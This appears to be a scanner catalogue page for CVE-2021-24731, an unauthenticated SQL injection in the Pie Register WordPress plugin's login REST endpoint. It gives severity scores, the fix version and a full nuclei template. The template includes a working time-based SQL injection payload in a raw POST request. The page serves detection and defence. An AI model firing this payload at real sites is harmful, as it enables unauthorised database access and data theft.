Pie Register < 3.7.1.6 - SQL Injection

criticalseverity

9.8CVSS score

6.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Fixed in version 3.7.1.6

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "User credentials are invalid.")

Run it with nuclei: nuclei -id CVE-2021-24731 -u <target>

The full check

id: CVE-2021-24731

info:
  name: Pie Register < 3.7.1.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 3.7.1.6
  reference:
    - https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
    - https://wordpress.org/plugins/pie-register/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24731
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24731
    cwe-id: CWE-89
    epss-score: 0.06415
    epss-percentile: 0.93748
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,sqli,wpscan,wordpress,wp-plugin,wp,pie-register,unauth,genetechsolutions,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-json/pie/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "User credentials are invalid.")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from